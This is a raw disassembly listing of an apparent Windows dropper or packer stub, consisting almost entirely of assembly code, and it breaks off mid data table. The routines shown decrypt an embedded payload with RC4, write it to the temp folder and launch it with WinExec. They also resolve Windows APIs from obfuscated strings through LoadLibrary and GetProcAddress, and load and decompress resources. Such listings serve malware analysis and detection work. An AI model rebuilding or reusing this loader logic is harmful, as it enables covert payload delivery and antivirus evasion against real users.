sub_40016AB0+4Cj mov eax, offset dword_4001ADA4 mov ecx, 5 mov edx, ds:off_40001000 call sub_40005314 loc_40016B18: ; CODE XREF: sub_40016AB0+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016B2D loc_40016B25: ; CODE XREF: sub_40016AB0+7Bj retn ; --------------------------------------------------------------------------- loc_40016B26: ; DATA XREF: sub_40016AB0+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40016B25 ; --------------------------------------------------------------------------- loc_40016B2D: ; CODE XREF: sub_40016AB0:loc_40016B25j ; DATA XREF: sub_40016AB0+70o pop ebp retn sub_40016AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40016B30 proc near ; CODE XREF: sub_40016B44+7Fp jmp ds:dword_40024668 sub_40016B30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40016B38 proc near ; CODE XREF: sub_40016B44+25p ; sub_40016C04+31p ... test eax, eax jz short locret_40016B41 sub eax, 4 mov eax, [eax] locret_40016B41: ; CODE XREF: sub_40016B38+2j retn sub_40016B38 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016B44 proc near ; CODE XREF: .itext:400197C1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40016BF1 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_40016B38 mov ebx, eax cmp ebx, 4 jbe short loc_40016BD4 lea eax, [ebp+arg_4] call sub_40004DA0 mov edi, eax mov edx, [edi] mov eax, esi call sub_40004F74 cmp dword ptr [edi], 80000h jbe short loc_40016B99 mov [ebp+var_8], 2 jmp short loc_40016BA0 ; --------------------------------------------------------------------------- loc_40016B99: ; CODE XREF: sub_40016B44+4Aj mov [ebp+var_8], 102h loc_40016BA0: ; CODE XREF: sub_40016B44+53j lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_40004DA0 add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_40004DA0 push eax mov eax, [ebp+var_8] push eax call sub_40016B30 ; RtlDecompressBuffer mov eax, esi mov edx, [ebp+var_4] call sub_40004F74 jmp short loc_40016BDB ; --------------------------------------------------------------------------- loc_40016BD4: ; CODE XREF: sub_40016B44+2Fj mov eax, esi call sub_40004884 loc_40016BDB: ; CODE XREF: sub_40016B44+8Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016BF8 loc_40016BE8: ; CODE XREF: sub_40016B44+B2j lea eax, [ebp+arg_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40016BF1: ; DATA XREF: sub_40016B44+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40016BE8 ; --------------------------------------------------------------------------- loc_40016BF8: ; CODE XREF: sub_40016B44+ACj ; DATA XREF: sub_40016B44+9Fo pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_40016B44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016C04 proc near ; CODE XREF: .itext:400197CEp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi xor eax, eax mov [ebp+var_10], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40016CCD push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_40004884 mov eax, [ebp+arg_4] call sub_40016B38 mov [ebp+var_8], eax mov edi, 1 cmp edi, [ebp+var_8] ja short loc_40016CAF loc_40016C47: ; CODE XREF: sub_40016C04+A9j mov eax, [ebp+arg_4] movzx ebx, byte ptr [eax+edi-1] test bl, bl jnz short loc_40016C8F mov eax, [ebp+arg_4] movzx eax, byte ptr [eax+edi] mov [ebp+var_1], al mov eax, [esi] call sub_40016B38 mov [ebp+var_C], eax movzx edx, [ebp+var_1] add edx, [ebp+var_C] mov eax, esi call sub_40004F74 mov eax, esi call sub_40004DA0 mov edx, [ebp+var_C] add eax, edx movzx edx, [ebp+var_1] xor ecx, ecx call sub_40003580 inc edi jmp short loc_40016CA9 ; --------------------------------------------------------------------------- loc_40016C8F: ; CODE XREF: sub_40016C04+4Dj lea eax, [ebp+var_10] mov edx, [ebp+arg_4] movzx edx, byte ptr [edx+edi-1] call sub_40004A6C mov edx, [ebp+var_10] mov eax, esi call sub_40004B50 loc_40016CA9: ; CODE XREF: sub_40016C04+89j inc edi cmp edi, [ebp+var_8] jbe short loc_40016C47 loc_40016CAF: ; CODE XREF: sub_40016C04+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016CD4 loc_40016CBC: ; CODE XREF: sub_40016C04+CEj lea eax, [ebp+var_10] call sub_40004884 lea eax, [ebp+arg_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40016CCD: ; DATA XREF: sub_40016C04+1Co jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40016CBC ; --------------------------------------------------------------------------- loc_40016CD4: ; CODE XREF: sub_40016C04+C8j ; DATA XREF: sub_40016C04+B3o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_40016C04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40016CE0 proc near ; CODE XREF: .itext:40019A90p jmp ds:dword_40024670 sub_40016CE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016CE8 proc near ; CODE XREF: sub_40017374+41p ; .itext:40019606p ... var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40016D45 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_104] mov eax, ebx call sub_40003790 lea edx, [ebp+var_104] lea eax, [ebp+var_4] call sub_40004AE8 mov eax, esi mov edx, [ebp+var_4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016D4C loc_40016D3C: ; CODE XREF: sub_40016CE8+62j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40016D45: ; DATA XREF: sub_40016CE8+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40016D3C ; --------------------------------------------------------------------------- loc_40016D4C: ; CODE XREF: sub_40016CE8+5Cj ; DATA XREF: sub_40016CE8+4Fo pop esi pop ebx mov esp, ebp pop ebp retn sub_40016CE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40016D54 proc near ; CODE XREF: sub_40016D80+B4p ; sub_40016D80+FBp push ecx mov edx, esp call sub_4000379C pop edx retn sub_40016D54 endp ; --------------------------------------------------------------------------- align 10h off_40016D60 dd offset dword_40016D64 ; DATA XREF: sub_40016D80+7Dr ; sub_40016D80+12Er ... dword_40016D64 dd 312E0211h, 4 dd offset off_40001000 dd 48h dd offset off_40001000 dd 75745304h, 408D62h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016D80 proc near ; CODE XREF: .itext:4001979Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov [ebp+var_10], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40016F53 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_8] mov edx, [ebp+var_4] call sub_4000491C loc_40016DB5: ; CODE XREF: sub_40016D80+60j mov edx, [ebp+var_8] mov eax, offset dword_40016F6C call sub_40004E30 mov ecx, eax lea eax, [ebp+var_8] mov edx, 1 call sub_40004DE8 mov edx, [ebp+var_8] mov eax, offset dword_40016F6C call sub_40004E30 test eax, eax jg short loc_40016DB5 xor edi, edi lea eax, [ebp+var_C] xor ecx, ecx mov edx, 4 call sub_40003580 push 1 lea eax, [ebp+var_C] mov ecx, 1 mov edx, ds:off_40016D60 call sub_40005B28 add esp, 4 jmp loc_40016EE1 ; --------------------------------------------------------------------------- loc_40016E10: ; CODE XREF: sub_40016D80+170j lea eax, [ebp+var_14] push eax mov edx, [ebp+var_8] mov eax, offset dword_40016F78 call sub_40004E30 mov ecx, eax dec ecx mov edx, 1 mov eax, [ebp+var_8] call sub_40004DA8 mov eax, [ebp+var_14] call sub_40016D54 mov ebx, eax mov edx, [ebp+var_8] mov eax, offset dword_40016F78 call sub_40004E30 mov ecx, eax lea eax, [ebp+var_8] mov edx, 1 call sub_40004DE8 lea eax, [ebp+var_18] push eax mov edx, [ebp+var_8] mov eax, offset dword_40016F84 call sub_40004E30 mov ecx, eax dec ecx mov edx, 1 mov eax, [ebp+var_8] call sub_40004DA8 mov eax, [ebp+var_18] call sub_40016D54 mov esi, eax mov edx, [ebp+var_8] mov eax, offset dword_40016F84 call sub_40004E30 mov ecx, eax lea eax, [ebp+var_8] mov edx, 1 call sub_40004DE8 cmp edi, ebx jg short loc_40016EBC lea edi, [ebx+1] push edi lea eax, [ebp+var_C] mov ecx, 1 mov edx, ds:off_40016D60 call sub_40005B28 add esp, 4 loc_40016EBC: ; CODE XREF: sub_40016D80+120j mov eax, [ebp+var_C] lea eax, [eax+ebx*4] push eax mov ecx, esi mov edx, 1 mov eax, [ebp+var_4] call sub_40004DA8 lea eax, [ebp+var_4] mov ecx, esi mov edx, 1 call sub_40004DE8 loc_40016EE1: ; CODE XREF: sub_40016D80+8Bj mov edx, [ebp+var_8] mov eax, offset dword_40016F84 call sub_40004E30 test eax, eax jg loc_40016E10 mov eax, [ebp+var_10] call sub_40004884 mov ebx, edi dec ebx test ebx, ebx jl short loc_40016F1D inc ebx xor esi, esi loc_40016F08: ; CODE XREF: sub_40016D80+19Bj mov eax, [ebp+var_10] mov edx, [ebp+var_C] mov edx, [edx+esi*4] call sub_40004B50 mov eax, [ebp+var_10] inc esi dec ebx jnz short loc_40016F08 loc_40016F1D: ; CODE XREF: sub_40016D80+183j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016F5A loc_40016F2A: ; CODE XREF: sub_40016D80+1D8j lea eax, [ebp+var_18] mov edx, 2 call sub_400048A8 lea eax, [ebp+var_C] mov edx, ds:off_40016D60 call sub_40005B34 lea eax, [ebp+var_8] mov edx, 2 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40016F53: ; DATA XREF: sub_40016D80+1Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40016F2A ; --------------------------------------------------------------------------- loc_40016F5A: ; CODE XREF: sub_40016D80+1D2j ; DATA XREF: sub_40016D80+1A5o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40016D80 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_40016F6C dd 1, 0FFFFFFFFh, 1 ; sub_40016D80+54o dword_40016F78 dd 3Ah, 0FFFFFFFFh, 1 ; sub_40016D80+BEo dword_40016F84 dd 3Bh ; sub_40016D80+105o ... ; =============== S U B R O U T I N E ======================================= sub_40016F88 proc near ; CODE XREF: .itext:4001959Bp ; .itext:4001970Cp push ebx push esi mov esi, eax push 0Ah push edx mov eax, ds:dword_4001E7F8 push eax call sub_40006538 ; FindResourceA mov ebx, eax push ebx mov eax, ds:dword_4001E7F8 push eax call sub_40006638 ; SizeofResource mov [esi], eax push ebx mov eax, ds:dword_4001E7F8 push eax call sub_400065F8 ; LoadResource mov ebx, eax push ebx call sub_40006600 ; SetHandleCount mov esi, eax test esi, esi jz short loc_40016FCC push ebx call sub_40006550 ; FreeResource jmp short loc_40016FD3 ; --------------------------------------------------------------------------- loc_40016FCC: ; CODE XREF: sub_40016F88+3Aj push 0 call sub_40006530 ; ExitProcess loc_40016FD3: ; CODE XREF: sub_40016F88+42j mov eax, esi pop esi pop ebx retn sub_40016F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016FD8 proc near ; CODE XREF: sub_400171BC+44p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ecx, edx test ecx, ecx js short loc_40016FF1 shr ecx, 2 loc_40016FEA: ; CODE XREF: sub_40016FD8+17j mov ebx, [eax+ecx*4] dec ecx push ebx jns short loc_40016FEA loc_40016FF1: ; CODE XREF: sub_40016FD8+Dj mov eax, esp mov [ebp+var_4], eax xor eax, eax mov [ebp+var_8], eax lea edi, [edx+1] xor ecx, ecx mov ebx, offset dword_4001F3C8 mov esi, offset byte_4001F4C8 loc_4001700A: ; CODE XREF: sub_40016FD8+4Cj mov eax, ecx cdq idiv edi mov eax, [ebp+var_4] movzx eax, byte ptr [eax+edx+1] mov [ebx], al mov [esi], cl inc ecx inc esi inc ebx cmp ecx, 100h jnz short loc_4001700A mov ecx, 100h mov eax, offset byte_4001F4C8 mov edx, offset dword_4001F3C8 loc_40017035: ; CODE XREF: sub_40016FD8+99j movzx ebx, byte ptr [eax] mov esi, ebx add esi, [ebp+var_8] movzx edi, byte ptr [edx] add esi, edi and esi, 800000FFh jns short loc_40017052 dec esi or esi, 0FFFFFF00h inc esi loc_40017052: ; CODE XREF: sub_40016FD8+70j mov [ebp+var_8], esi mov esi, ebx mov ebx, [ebp+var_8] movzx ebx, ds:byte_4001F4C8[ebx] mov [eax], bl mov ebx, esi mov esi, [ebp+var_8] mov ds:byte_4001F4C8[esi], bl inc edx inc eax dec ecx jnz short loc_40017035 mov edi, [ebp+var_14] mov esi, [ebp+var_10] mov ebx, [ebp+var_C] mov esp, ebp pop ebp retn sub_40016FD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017080 proc near ; CODE XREF: sub_400171BC+145p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov ebx, edx test ebx, ebx js short loc_40017099 shr ebx, 2 loc_40017092: ; CODE XREF: sub_40017080+17j mov esi, [eax+ebx*4] dec ebx push esi jns short loc_40017092 loc_40017099: ; CODE XREF: sub_40017080+Dj mov eax, esp mov [ebp+var_4], ecx xor esi, esi xor ecx, ecx inc edx test edx, edx jl short loc_40017124 inc edx mov [ebp+var_10], edx mov edx, [ebp+var_4] loc_400170AE: ; CODE XREF: sub_40017080+A2j inc esi and esi, 800000FFh jns short loc_400170BF dec esi or esi, 0FFFFFF00h inc esi loc_400170BF: ; CODE XREF: sub_40017080+35j movzx ebx, ds:byte_4001F4C8[esi] add ecx, ebx and ecx, 800000FFh jns short loc_400170D8 dec ecx or ecx, 0FFFFFF00h inc ecx loc_400170D8: ; CODE XREF: sub_40017080+4Ej mov [ebp+var_C], ebx movzx ebx, ds:byte_4001F4C8[ecx] mov ds:byte_4001F4C8[esi], bl movzx ebx, byte ptr [ebp+var_C] mov ds:byte_4001F4C8[ecx], bl movzx ebx, ds:byte_4001F4C8[esi] movzx edi, ds:byte_4001F4C8[ecx] add ebx, edi and ebx, 0FFh movzx ebx, ds:byte_4001F4C8[ebx] movzx edi, byte ptr [eax] xor ebx, edi mov [ebp+var_8], ebx movzx ebx, byte ptr [ebp+var_8] mov [edx], bl inc edx inc eax dec [ebp+var_10] jnz short loc_400170AE loc_40017124: ; CODE XREF: sub_40017080+25j mov edi, [ebp+var_1C] mov esi, [ebp+var_18] mov ebx, [ebp+var_14] mov esp, ebp pop ebp retn 4 sub_40017080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017134 proc near ; CODE XREF: sub_400171BC+94p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx mov ebx, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_400171A3 push dword ptr fs:[eax] mov fs:[eax], esp jmp short loc_40017172 ; --------------------------------------------------------------------------- loc_40017156: ; CODE XREF: sub_40017134+4Dj mov edx, [ebp+var_4] mov eax, offset dword_400171B8 call sub_40004E30 mov ecx, eax lea eax, [ebp+var_4] mov edx, 1 call sub_40004DE8 loc_40017172: ; CODE XREF: sub_40017134+20j mov edx, [ebp+var_4] mov eax, offset dword_400171B8 call sub_40004E30 test eax, eax jnz short loc_40017156 mov eax, ebx mov edx, [ebp+var_4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400171AA loc_4001719A: ; CODE XREF: sub_40017134+74j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_400171A3: ; DATA XREF: sub_40017134+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001719A ; --------------------------------------------------------------------------- loc_400171AA: ; CODE XREF: sub_40017134+6Ej ; DATA XREF: sub_40017134+61o pop ebx pop ecx pop ebp retn sub_40017134 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 1 dword_400171B8 dd 5Ch ; sub_40017134+41o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400171BC proc near ; CODE XREF: .itext:40019564p var_920 = dword ptr -920h var_91C = dword ptr -91Ch var_918 = dword ptr -918h var_914 = dword ptr -914h var_910 = dword ptr -910h var_909 = byte ptr -909h var_804 = byte ptr -804h var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFF6E0h push ebx push esi push edi xor eax, eax mov [ebp+var_920], eax mov [ebp+var_910], eax mov [ebp+var_914], eax mov [ebp+var_918], eax mov [ebp+var_91C], eax xor eax, eax push ebp push offset loc_40017358 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, offset dword_4001ADB8 mov edx, 0FFh call sub_40016FD8 lea eax, [ebp+var_909] push eax push 105h call sub_400065C0 ; GetTempPathA lea eax, [ebp+var_914] lea edx, [ebp+var_909] mov ecx, 105h call sub_40004AF4 push [ebp+var_914] push offset dword_40017370 lea edx, [ebp+var_91C] xor eax, eax call sub_40002FF8 mov eax, [ebp+var_91C] lea edx, [ebp+var_918] call sub_40017134 push [ebp+var_918] lea eax, [ebp+var_910] mov edx, 3 call sub_40004C08 mov eax, [ebp+var_910] call sub_40004D48 mov edi, eax push 0 push 80h push 3 push 0 push 1 push 80000000h lea edx, [ebp+var_920] xor eax, eax call sub_40002FF8 mov eax, [ebp+var_920] call sub_40004D48 push eax call sub_40006510 ; CreateFileA mov ebx, eax push 0 push 0 push 3E00h push ebx call sub_40006630 ; SetFilePointer push 0 push 80h push 2 push 0 push 2 push 40000000h push edi call sub_40006510 ; CreateFileA mov esi, eax loc_400172D3: ; CODE XREF: sub_400171BC+168j push 0 lea eax, [ebp+var_4] push eax push 400h lea eax, [ebp+var_404] push eax push ebx call sub_40006618 ; ReadFile push 3FFh lea ecx, [ebp+var_804] lea eax, [ebp+var_404] mov edx, 3FFh call sub_40017080 push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] push eax lea eax, [ebp+var_804] push eax push esi call sub_40006660 ; WriteFile cmp [ebp+var_4], 400h jnb short loc_400172D3 push ebx call sub_400064F0 ; CloseHandle push esi call sub_400064F0 ; CloseHandle push 0 push edi call sub_40006658 ; WinExec xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001735F loc_40017347: ; CODE XREF: sub_400171BC+1A1j lea eax, [ebp+var_920] mov edx, 5 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40017358: ; DATA XREF: sub_400171BC+2Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40017347 ; --------------------------------------------------------------------------- loc_4001735F: ; CODE XREF: sub_400171BC+19Bj ; DATA XREF: sub_400171BC+186o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_400171BC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_40017370 dd 5Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40017374 proc near ; CODE XREF: sub_400173FC+2Dp ; sub_400173FC+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor ecx, ecx mov [ebp+var_8], ecx mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_400173ED push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_4] test ebx, ebx jz short loc_400173A8 sub ebx, 4 mov ebx, [ebx] loc_400173A8: ; CODE XREF: sub_40017374+2Dj push 0 push 0Ah push 0 push 14h lea edx, [ebp+var_8] mov eax, ebx call sub_40016CE8 mov edx, [ebp+var_8] lea ecx, [ebp+var_4] mov eax, [ebp+var_4] call sub_40006A2C mov eax, esi mov edx, [ebp+var_4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400173F4 loc_400173DF: ; CODE XREF: sub_40017374+7Ej lea eax, [ebp+var_8] mov edx, 2 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_400173ED: ; DATA XREF: sub_40017374+1Do jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400173DF ; --------------------------------------------------------------------------- loc_400173F4: ; CODE XREF: sub_40017374+78j ; DATA XREF: sub_40017374+66o pop esi pop ebx pop ecx pop ecx pop ebp retn sub_40017374 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400173FC proc near ; CODE XREF: .itext:40019569p var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Ah loc_40017404: ; CODE XREF: sub_400173FC+Dj push 0 push 0 dec ecx jnz short loc_40017404 push ecx push ebx push esi mov esi, offset dword_4001F3B0 xor eax, eax push ebp push offset loc_400176B8 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, offset dword_400176D0 call sub_40017374 mov eax, [ebp+var_4] call sub_40004D48 push eax call sub_400065F0 ; LoadLibraryA mov ebx, eax lea edx, [ebp+var_8] mov eax, offset dword_400176E4 call sub_40017374 mov eax, [ebp+var_8] call sub_40004D48 push eax push ebx call sub_400065A8 ; GetProcAddress mov [esi], eax lea edx, [ebp+var_C] mov eax, offset dword_400176FC call sub_40017374 mov eax, [ebp+var_C] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3B4, eax lea edx, [ebp+var_10] mov eax, offset dword_40017710 call sub_40017374 mov eax, [ebp+var_10] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3B8, eax lea edx, [ebp+var_14] mov eax, offset dword_40017728 call sub_40017374 mov eax, [ebp+var_14] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3BC, eax lea edx, [ebp+var_18] mov eax, offset dword_4001773C call sub_40017374 mov eax, [ebp+var_18] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3C0, eax lea edx, [ebp+var_1C] mov eax, offset dword_40017750 call sub_40017374 mov eax, [ebp+var_1C] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3C4, eax lea edx, [ebp+var_20] mov eax, offset dword_40017764 call sub_40017374 mov eax, [ebp+var_20] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F378, eax lea edx, [ebp+var_24] mov eax, offset dword_4001777C call sub_40017374 mov eax, [ebp+var_24] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F37C, eax lea edx, [ebp+var_28] mov eax, offset dword_40017798 call sub_40017374 mov eax, [ebp+var_28] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F384, eax lea edx, [ebp+var_2C] mov eax, offset dword_400177B4 call sub_40017374 mov eax, [ebp+var_2C] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F388, eax lea edx, [ebp+var_30] mov eax, offset dword_400177D0 call sub_40017374 mov eax, [ebp+var_30] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F38C, eax lea edx, [ebp+var_34] mov eax, offset dword_400177E8 call sub_40017374 mov eax, [ebp+var_34] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F394, eax lea edx, [ebp+var_38] mov eax, offset dword_40017800 call sub_40017374 mov eax, [ebp+var_38] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F398, eax lea edx, [ebp+var_3C] mov eax, offset dword_40017818 call sub_40017374 mov eax, [ebp+var_3C] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F39C, eax lea edx, [ebp+var_40] mov eax, offset dword_40017830 call sub_40017374 mov eax, [ebp+var_40] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3A0, eax lea edx, [ebp+var_44] mov eax, offset dword_40017848 call sub_40017374 mov eax, [ebp+var_44] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3A4, eax lea edx, [ebp+var_48] mov eax, offset dword_4001785C call sub_40017374 mov eax, [ebp+var_48] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F390, eax lea edx, [ebp+var_4C] mov eax, offset dword_40017874 call sub_40017374 mov eax, [ebp+var_4C] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3A8, eax lea edx, [ebp+var_50] mov eax, offset dword_40017890 call sub_40017374 mov eax, [ebp+var_50] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F380, eax lea edx, [ebp+var_54] mov eax, offset dword_400178A8 call sub_40017374 mov eax, [ebp+var_54] call sub_40004D48 push eax push ebx call dword ptr [esi] mov ds:dword_4001F3AC, eax push ebx call ds:dword_4001F3A4 ; FreeLibrary xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400176BF loc_400176AA: ; CODE XREF: sub_400173FC+2C1j lea eax, [ebp+var_54] mov edx, 15h call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_400176B8: ; DATA XREF: sub_400173FC+1Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400176AA ; --------------------------------------------------------------------------- loc_400176BF: ; CODE XREF: sub_400173FC+2BBj ; DATA XREF: sub_400173FC+2A9o pop esi pop ebx mov esp, ebp pop ebp retn sub_400173FC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 8 dword_400176D0 dd 2B362609h, 7B7B2B23h, 0 dd 0FFFFFFFFh, 0Eh dword_400176E4 dd 22051528h, 37161B01h, 0A0B1C13h, 203h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_400173FC+45o dword_400176FC dd 0E0B1F2Fh, 1A341404h, 371018h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_400173FC+63o dword_40017710 dd 3405153Ch, 2610181Ah, 1B171118h, 315h, 0FFFFFFFFh, 8 ; DATA XREF: sub_400173FC+81o dword_40017728 dd 21252610h, 2C242E00h, 0 dd 0FFFFFFFFh, 0Bh dword_4001773C dd 291A082Bh, 20171D19h, 130F1Dh, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_400173FC+BDo dword_40017750 dd 1C01012Fh, 1D133915h, 131910h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_400173FC+DBo dword_40017764 dd 51C0B3Fh, 1C27171Ch, 9161307h, 0 dd 0FFFFFFFFh, 10h dword_4001777C dd 20071722h, 1912041Dh, 1F14391Dh, 10C1606h, 0 ; DATA XREF: sub_400173FC+117o dd 0FFFFFFFFh, 11h dword_40017798 dd 11151620h, 1A170526h, 3F0F081Fh, 41A1916h, 0Eh, 0FFFFFFFFh ; DATA XREF: sub_400173FC+135o dd 10h dword_400177B4 dd 20071736h, 1912041Dh, 1F14391Dh, 10C1606h, 0 ; DATA XREF: sub_400173FC+153o dd 0FFFFFFFFh, 0Eh dword_400177D0 dd 1314022Ch, 4251107h, 1C1C1B18h, 3003h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_400173FC+171o dword_400177E8 dd 151E0628h, 1A071620h, 0B1B0503h, 2Eh, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_400173FC+18Fo dword_40017800 dd 170B193Ch, 1327121Ch, 